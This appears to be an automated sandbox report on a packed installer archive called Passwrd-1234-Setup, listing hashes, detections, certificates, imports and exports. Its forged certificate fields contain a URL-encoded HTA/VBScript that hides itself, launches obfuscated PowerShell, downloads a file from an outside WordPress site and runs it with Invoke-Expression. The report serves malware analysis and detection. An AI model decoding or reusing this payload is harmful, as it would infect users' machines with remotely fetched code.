fe52c71d3c04ec6b301d267978f84a0d[.]bin

Sharing

Copy URL

Twitter E-mail

General

Target

fe52c71d3c04ec6b301d267978f84a0d.bin
Size

23.0MB
MD5

fe52c71d3c04ec6b301d267978f84a0d
SHA1

4b34fe1c983ab4b412cd3dedec114656860efacd
SHA256

35da11b3609d7b0e88707d28867cb9f946e35cd82318d8fc7abad82025cfc780
SHA512

963c47b77759a979ea96a7c05c73f5d10ae7225ec3bb5680e021c2d01de4b28f60f7d845c38c6d61824dd35eca38c9436d0a298f41b12b5c376a96cdb3a4c6b4
SSDEEP

393216:IPeQsjCG96IM2NIQpVUXrbSYw32ZlZC0w98iYHpNJ:oePCGwIf8XrGHaZPwy/n

Score

7^/10

vmprotect

Malware Config

Signatures

VMProtect packed file 1 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
static1/unpack001/Passwrd-1234-Setup/Setup.exe	vmprotect

Unsigned PE 48 IoCs

Checks for missing Authenticode signature.

resource
unpack001/Passwrd-1234-Setup/en-US/AutoWorkplaceN.dll.mui
unpack001/Passwrd-1234-Setup/en-US/avicap32.dll.mui
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.BootstrapIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.BoxIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Codicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Coolicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Core.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Entypo.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.EvaIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FeatherIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FileIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.FontAwesome.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Fontaudio.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Fontisto.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.ForkAwesome.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Ionicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.JamIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Material.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.MaterialDesign.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.MaterialLight.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Microns.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Modern.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Octicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.PicolIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.PixelartIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RPGAwesome.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RadixIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.RemixIcon.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.SimpleIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Typicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Unicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.VaadinIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.WeatherIcons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.Zondicons.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MahApps.Metro.IconPacks.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MaterialDesignColors.dll
unpack001/Passwrd-1234-Setup/engine/plugins/MaterialDesignThemes.Wpf.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.ExtendedLinguisticServices.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.Sensors.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.Shell.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.ShellExtensions.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Microsoft.WindowsAPICodePack.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.Aero.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.Metro.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.Themes.VS2010.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.AvalonDock.dll
unpack001/Passwrd-1234-Setup/engine/plugins/Xceed.Wpf.Toolkit.dll
unpack001/Passwrd-1234-Setup/engine/plugins/starksoft.aspen.dll

Files

fe52c71d3c04ec6b301d267978f84a0d.bin
.zip
Passwrd-1234-Setup/MpGear.dll
.dll windows:10 windows x64

86d0adb9b2e1f27df0110b9b7b25c534

Code Sign

33:00:00:01:23:30:43:8d:24:48:3c:a0:d7:00:00:00:00:01:23
Certificate

Issuer

CN=Microsoft Time-Stamp PCA,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

24/10/2018, 21:07

Not After

10/01/2020, 21:07

Subject

CN=Microsoft Time-Stamp Service,OU=Microsoft America Operations+OU=Thales TSS ESN:1A8F-E3C3-D69D,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

33:00:00:01:e3:7d:a3:1f:82:84:dc:e4:a1:00:02:00:00:01:e3
Certificate

Issuer

CN=Microsoft Code Signing PCA,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

02/05/2019, 21:20

Not After

02/05/2020, 21:20

Subject

CN=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

61:04:35:45:00:00:00:00:00:3f
Certificate

Issuer

CN=Microsoft Root Certificate Authority,0.9.2342.19200300.100.1.25=#13096d6963726f736f6674,0.9.2342.19200300.100.1.25=#1303636f6d

Not Before

20/09/2018, 17:42

Not After

09/05/2021, 23:28

Subject

CN=Microsoft Code Signing PCA,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

61:16:68:34:00:00:00:00:00:1c
Certificate

Issuer

CN=Microsoft Root Certificate Authority,0.9.2342.19200300.100.1.25=#13096d6963726f736f6674,0.9.2342.19200300.100.1.25=#1303636f6d

Not Before

03/04/2007, 12:53

Not After

03/04/2021, 13:03

Subject

CN=Microsoft Time-Stamp PCA,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Extended Key Usages

ExtKeyUsageTimeStamping

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

33:00:00:02:c2:81:3c:ef:6a:1e:09:24:01:00:00:00:00:02:c2
Certificate

Issuer

CN=Microsoft Code Signing PCA 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

02/05/2019, 21:25

Not After

02/05/2020, 21:25

Subject

CN=Microsoft Corporation,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Extended Key Usages

ExtKeyUsageCodeSigning

61:0c:52:4c:00:00:00:00:00:03
Certificate

Issuer

CN=Microsoft Root Certificate Authority 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Not Before

06/07/2010, 20:40

Not After

06/07/2025, 20:50

Subject

CN=Microsoft Code Signing PCA 2010,O=Microsoft Corporation,L=Redmond,ST=Washington,C=US

Key Usages

KeyUsageDigitalSignature
KeyUsageCertSign
KeyUsageCRLSign

97:53:50:74:4d:cd:f2:57:fd:4d:df:a5:07:b3:14:af:2b:c4:b0:91:5a:2c:87:0d:d7:6b:a3:c0:2f:8e:77:92
Signer

Actual PE Digest

97:53:50:74:4d:cd:f2:57:fd:4d:df:a5:07:b3:14:af:2b:c4:b0:91:5a:2c:87:0d:d7:6b:a3:c0:2f:8e:77:92

Digest Algorithm

sha256

PE Digest Matches

false

42:54:f2:61:c2:70:7d:07:bf:df:33:c9:b8:51:1e:4c:4f:28:87:50
Signer

Actual PE Digest

42:54:f2:61:c2:70:7d:07:bf:df:33:c9:b8:51:1e:4c:4f:28:87:50

Digest Algorithm

sha1

PE Digest Matches

false

Headers

DLL Characteristics

IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
IMAGE_DLLCHARACTERISTICS_NX_COMPAT
IMAGE_DLLCHARACTERISTICS_GUARD_CF

File Characteristics

IMAGE_FILE_EXECUTABLE_IMAGE
IMAGE_FILE_LARGE_ADDRESS_AWARE
IMAGE_FILE_DLL

Imports

ntdll

RtlGetVersion
RtlCaptureContext
RtlPcToFileHeader
RtlNtStatusToDosError
RtlUnwindEx
RtlVirtualUnwind
RtlLookupFunctionEntry

kernel32

SetThreadpoolThreadMinimum
WaitForThreadpoolWorkCallbacks
WaitForMultipleObjects
SetFilePointerEx
WriteFile
SetEndOfFile
WideCharToMultiByte
MultiByteToWideChar
SystemTimeToFileTime
GlobalFree
GetComputerNameExW
GetModuleHandleExW
VirtualLock
ReadFile
GetFileSizeEx
CreateFileW
LoadLibraryW
CreateDirectoryW
FindFirstFileW
GetFullPathNameW
FindNextFileW
ExpandEnvironmentStringsW
RemoveDirectoryW
SetEnvironmentVariableW
GetEnvironmentVariableW
FindClose
WaitForSingleObject
GetFileAttributesW
GetSystemDirectoryW
SetFileAttributesW
SetThreadpoolThreadMaximum
SetEvent
DeleteFileW
ResetEvent
CreateProcessW
QueryPerformanceFrequency
GetSystemTime
SwitchToThread
ExitProcess
HeapFree
HeapAlloc
IsValidCodePage
GetACP
GetOEMCP
GetCPInfo
FindFirstFileExW
GetCommandLineA
GetEnvironmentStringsW
FreeEnvironmentStringsW
GetDateFormatW
GetTimeFormatW
CompareStringW
LCMapStringW
GetProcessHeap
GetStdHandle
GetFileType
GetTimeZoneInformation
GetStringTypeW
HeapSize
HeapReAlloc
SetStdHandle
FlushFileBuffers
GetConsoleCP
GetConsoleMode
ReadConsoleW
WriteConsoleW
WaitForSingleObjectEx
SubmitThreadpoolWork
CreateThreadpoolWork
TryEnterCriticalSection
GetFileAttributesExW
GetModuleFileNameW
GetExitCodeProcess
CopyFileW
Sleep
GetTickCount
CreateEventW
GetSystemPowerStatus
CloseHandle
lstrcmpiW
FileTimeToSystemTime
GetTempPathW
LoadLibraryExW
GetProcAddress
FreeLibrary
TlsFree
TlsSetValue
TlsGetValue
TlsAlloc
InitializeCriticalSectionAndSpinCount
DeleteCriticalSection
LeaveCriticalSection
EnterCriticalSection
EncodePointer
SetLastError
GetLastError
RaiseException
InterlockedFlushSList
TerminateProcess
GetCurrentProcess
GetModuleHandleW
IsProcessorFeaturePresent
GetStartupInfoW
SetUnhandledExceptionFilter
UnhandledExceptionFilter
IsDebuggerPresent
InitializeSListHead
GetSystemTimeAsFileTime
GetCurrentThreadId
GetCurrentProcessId
QueryPerformanceCounter
InitializeCriticalSection
GetCommandLineW
CreateThreadpool
CloseThreadpool
CloseThreadpoolWork
DecodePointer

advapi32

QueryServiceStatus
RegQueryValueExW
OpenSCManagerW
QueryServiceConfigW
OpenServiceW
UnregisterTraceGuids
RegisterTraceGuidsW
GetTraceEnableLevel
GetTraceEnableFlags
GetTraceLoggerHandle
TraceMessage
RegCloseKey
CloseServiceHandle
RegOpenKeyExW
RegCreateKeyExW
RegSetValueExW

crypt32

CertGetCertificateChain
CertFreeCertificateContext
CertVerifyCertificateChainPolicy
CertFreeCertificateChain

wintrust

WinVerifyTrust
WTHelperGetProvSignerFromChain
WTHelperProvDataFromStateData

winhttp

WinHttpSetOption
WinHttpQueryHeaders
WinHttpReadData
WinHttpQueryDataAvailable
WinHttpOpenRequest
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpWriteData
WinHttpAddRequestHeaders
WinHttpGetIEProxyConfigForCurrentUser
WinHttpGetProxyForUrl
WinHttpGetDefaultProxyConfiguration
WinHttpConnect
WinHttpCrackUrl
WinHttpCloseHandle
WinHttpSetStatusCallback
WinHttpSetTimeouts
WinHttpOpen
WinHttpQueryOption

ole32

CoCreateInstance
CoWaitForMultipleHandles
CoInitializeEx
CoCreateGuid
StringFromGUID2
CoUninitialize
IIDFromString
CoSetProxyBlanket

oleaut32

VariantInit
SysFreeString
SysAllocString
VariantClear
SysStringLen

shlwapi

PathIsURLW

Exports

Exports

MpGearCloseHandle
MpGearContainerAnalyze
MpGearContainerCloseObject
MpGearContainerCommit
MpGearContainerDelete
MpGearContainerFreeObjectInfo
MpGearContainerGetNext
MpGearContainerOpen
MpGearContainerOpenObject
MpGearContainerRead
MpGearContainerRecognize
MpGearContainerSetSize
MpGearContainerWrite
MpGearCreateManager
MpGearDuplicateHandle
MpGearDynamicConfigAddBinary
MpGearDynamicConfigAddBool
MpGearDynamicConfigAddDWORD
MpGearDynamicConfigAddQWORD
MpGearDynamicConfigAddString
MpGearDynamicConfigAddStringList
MpGearDynamicConfigClear
MpGearDynamicConfigSend
MpGearFreeData
MpGearGetManagerInfo
MpGearGetSigDataDWORD
MpGearGetSigUpdateConfig
MpGearGetVirusNames
MpGearInheritEngine
MpGearInitializeMpPLI
MpGearQuarantineDelete
MpGearQuarantineGetNext
MpGearQuarantineOpen
MpGearQuarantineOpenEnumerator
MpGearQuarantineQuery
MpGearQuarantineRecover
MpGearQuarantineRestore
MpGearRebootActions
MpGearRenderPLIData
MpGearScanControl
MpGearScanFull
MpGearScanGetNextActionResult
MpGearScanGetNextThreat
MpGearScanGetStatistics
MpGearScanOpen
MpGearScanOpenActionResultsEnumerator
MpGearScanOpenThreatEnumerator
MpGearScanPath
MpGearScanQuick
MpGearScanSetDefaultThreatActions
MpGearScanSetOption
MpGearScanSetOptionEx
MpGearScanSetThreatAction
MpGearScanStream
MpGearScanSubmitReport
MpGearScanSubmitReportData
MpGearScanTakeActions
MpGearSetEngine
MpGearSetEngineWithResourceSigs
MpGearSetSigUpdateConfig
MpGearSigUpdateCancel
MpGearSigUpdateRollback
MpGearSigUpdateStart
MpGearSubmitHeartbeatReport
MpGearSubmitHeartbeatReportData
MpGearSubmitReportData

Sections

.text
Size: 406KB - Virtual size: 406KB

IMAGE_SCN_CNT_CODE
IMAGE_SCN_MEM_EXECUTE
IMAGE_SCN_MEM_READ

.rdata
Size: 148KB - Virtual size: 148KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.data
Size: 11KB - Virtual size: 16KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ
IMAGE_SCN_MEM_WRITE

.pdata
Size: 20KB - Virtual size: 20KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.rsrc
Size: 1024B - Virtual size: 960B

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_READ

.reloc
Size: 3KB - Virtual size: 3KB

IMAGE_SCN_CNT_INITIALIZED_DATA
IMAGE_SCN_MEM_DISCARDABLE
IMAGE_SCN_MEM_READ
Passwrd-1234-Setup/Setup.exe
.exe windows:6 windows x86

e74959acf8d102fe14144468dae6b4a4

Code Sign

34:4b:81:97:93:99:7a:b3:44:94:67:0e:68:69:52:f3
Certificate

Issuer

CN=3C%48%54%4D%4C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%3E%0A%3C%48%45%41%44%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0A%57%69%6E%64%6F%77%2E%52%65%53%69%7A%65%54%6F%20%30%2C%20%30%0A%57%69%6E%64%6F%77%2E%6D%6F%76%65%54%6F%20%2D%33%30%30%30%2C%2D%33%30%30%30%0A%53%65%74%20%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28%22%57%53%63%72%69%70%74%2E%53%68%65%6C%6C%22%29%0A%48%32%20%3D%20%22%50%4F%77%65%72%53%48%65%4C%4C%20%24%54%52%55%4D%50%20%3D%27%68%74%74%70%73%3A%2F%2F%74%68%65%70%65%72%66%75%6D%65%70%6C%75%73%58%58%58%63%6F%6D%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%75%70%6C%6F%61%64%73%2F%32%30%32%30%2F%30%38%2F%63%6F%6F%6C%2D%73%6D%61%6C%6C%58%58%58%74%78%74%27%2E%52%65%70%6C%61%63%65%28%27%58%58%58%27%2C%27%2E%27%29%3B%24%53%68%69%62%3D%27%32%25%23%23%23%25%32%23%23%23%32%30%23%23%23%33%64%23%23%23%32%37%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%37%25%23%23%23%32%65%23%23%23%35%37%23%23%23%35%25%23%23%23%25%36%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%63%23%23%23%25%39%23%23%23%25%66%23%23%23%35%33%23%23%23%25%65%23%23%23%35%25%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%65%23%23%23%25%35%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%25%23%23%23%25%36%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%25%35%23%23%23%36%32%23%23%23%25%33%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%66%23%23%23%35%33%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%35%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%25%23%23%23%25%33%23%23%23%25%33%23%23%23%32%30%23%23%23%33%64%23%23%23%32%30%23%23%23%32%37%23%23%23%25%25%23%23%23%25%66%23%23%23%35%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%25%63%23%23%23%35%33%23%23%23%25%66%23%23%23%35%33%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%65%23%23%23%25%37%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%37%23%23%23%36%65%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%33%23%23%23%25%66%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%66%23%23%23%36%31%23%23%23%25%25%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%25%23%23%23%37%32%23%23%23%25%39%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%25%23%23%23%25%31%23%23%23%32%30%23%23%23%33%64%23%23%23%32%37%23%23%23%25%39%23%23%23%36%30%23%23%23%25%35%23%23%23%36%66%23%23%23%37%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%30%23%23%23%35%37%23%23%23%36%30%23%23%23%25%32%23%23%23%35%25%23%23%23%25%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%61%23%23%23%36%30%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%30%23%23%23%32%25%23%23%23%25%32%23%23%23%32%39%23%23%23%32%65%23%23%23%32%25%23%23%23%25%33%23%23%23%25%33%23%23%23%32%38%23%23%23%32%25%23%23%23%35%25%23%23%23%35%32%23%23%23%35%35%23%23%23%25%64%23%23%23%35%30%23%23%23%32%39%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%36%66%23%23%23%37%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%35%38%23%23%23%32%38%23%23%23%36%65%23%23%23%36%30%23%23%23%36%35%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%32%23%23%23%35%25%23%23%23%25%33%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%32%64%23%23%23%25%66%23%23%23%36%32%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%30%23%23%23%36%33%23%23%23%36%30%23%23%23%35%25%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%36%23%23%23%32%38%23%23%23%32%37%23%23%23%25%39%23%23%23%32%37%23%23%23%32%62%23%23%23%32%37%23%23%23%25%35%23%23%23%35%38%23%23%23%32%37%23%23%23%32%39%23%23%23%32%38%23%23%23%32%25%23%23%23%25%31%23%23%23%32%30%23%23%23%32%64%23%23%23%25%61%23%23%23%36%66%23%23%23%36%39%23%23%23%36%65%23%23%23%32%30%23%23%23%32%37%23%23%23%32%37%23%23%23%32%39%23%23%23%37%63%23%23%23%32%36%23%23%23%32%38%23%23%23%32%37%23%23%23%25%39%23%23%23%32%37%23%23%23%32%62%23%23%23%32%37%23%23%23%25%35%23%23%23%35%38%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%27%2E%52%65%70%6C%61%63%65%28%27%25%27%2C%27%34%27%29%3B%49%6E%76%6F%6B%65%2D%45%78%70%72%65%73%73%69%6F%6E%20%28%2D%6A%6F%69%6E%20%28%24%53%68%69%62%20%2D%73%70%6C%69%74%20%27%23%23%23%27%20%7C%20%3F%20%7B%20%24%5F%20%7D%20%7C%20%25%20%7B%20%5B%63%68%61%72%5D%5B%63%6F%6E%76%65%72%74%5D%3A%3A%54%6F%55%49%6E%74%33%32%28%24%5F%2C%31%36%29%20%7D%29%29%22%0A%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%2E%52%75%6E%28%48%32%2B%22%22%29%2C%30%2C%54%72%75%65%0A%53%65%74%20%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%

Not Before

13/09/2023, 18:36

Not After

14/09/2033, 18:36

Subject

CN=3C%48%54%4D%4C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%43%6F%6E%74%65%6E%74%2D%54%79%70%65%22%20%63%6F%6E%74%65%6E%74%3D%22%74%65%78%74%2F%68%74%6D%6C%3B%20%63%68%61%72%73%65%74%3D%75%74%66%2D%38%22%3E%0A%3C%48%45%41%44%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%56%42%53%63%72%69%70%74%22%3E%0A%57%69%6E%64%6F%77%2E%52%65%53%69%7A%65%54%6F%20%30%2C%20%30%0A%57%69%6E%64%6F%77%2E%6D%6F%76%65%54%6F%20%2D%33%30%30%30%2C%2D%33%30%30%30%0A%53%65%74%20%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%46%20%3D%20%43%72%65%61%74%65%4F%62%6A%65%63%74%28%22%57%53%63%72%69%70%74%2E%53%68%65%6C%6C%22%29%0A%48%32%20%3D%20%22%50%4F%77%65%72%53%48%65%4C%4C%20%24%54%52%55%4D%50%20%3D%27%68%74%74%70%73%3A%2F%2F%74%68%65%70%65%72%66%75%6D%65%70%6C%75%73%58%58%58%63%6F%6D%2F%77%70%2D%63%6F%6E%74%65%6E%74%2F%75%70%6C%6F%61%64%73%2F%32%30%32%30%2F%30%38%2F%63%6F%6F%6C%2D%73%6D%61%6C%6C%58%58%58%74%78%74%27%2E%52%65%70%6C%61%63%65%28%27%58%58%58%27%2C%27%2E%27%29%3B%24%53%68%69%62%3D%27%32%25%23%23%23%25%32%23%23%23%32%30%23%23%23%33%64%23%23%23%32%37%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%37%25%23%23%23%32%65%23%23%23%35%37%23%23%23%35%25%23%23%23%25%36%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%36%63%23%23%23%25%39%23%23%23%25%66%23%23%23%35%33%23%23%23%25%65%23%23%23%35%25%23%23%23%32%37%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%35%23%23%23%35%25%23%23%23%25%38%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%65%23%23%23%25%35%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%35%25%23%23%23%25%36%23%23%23%32%30%23%23%23%25%33%23%23%23%25%66%23%23%23%25%39%23%23%23%25%65%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%25%35%23%23%23%36%32%23%23%23%25%33%23%23%23%32%37%23%23%23%32%39%23%23%23%32%65%23%23%23%35%32%23%23%23%36%35%23%23%23%37%30%23%23%23%36%63%23%23%23%36%31%23%23%23%36%33%23%23%23%36%35%23%23%23%32%38%23%23%23%32%37%23%23%23%25%66%23%23%23%35%33%23%23%23%32%37%23%23%23%32%63%23%23%23%32%37%23%23%23%36%35%23%23%23%32%37%23%23%23%32%39%23%23%23%33%62%23%23%23%32%25%23%23%23%25%33%23%23%23%25%33%23%23%23%32%30%23%23%23%33%64%23%23%23%32%30%23%23%23%32%37%23%23%23%25%25%23%23%23%25%66%23%23%23%35%33%23%23%23%32%30%23%23%23%25%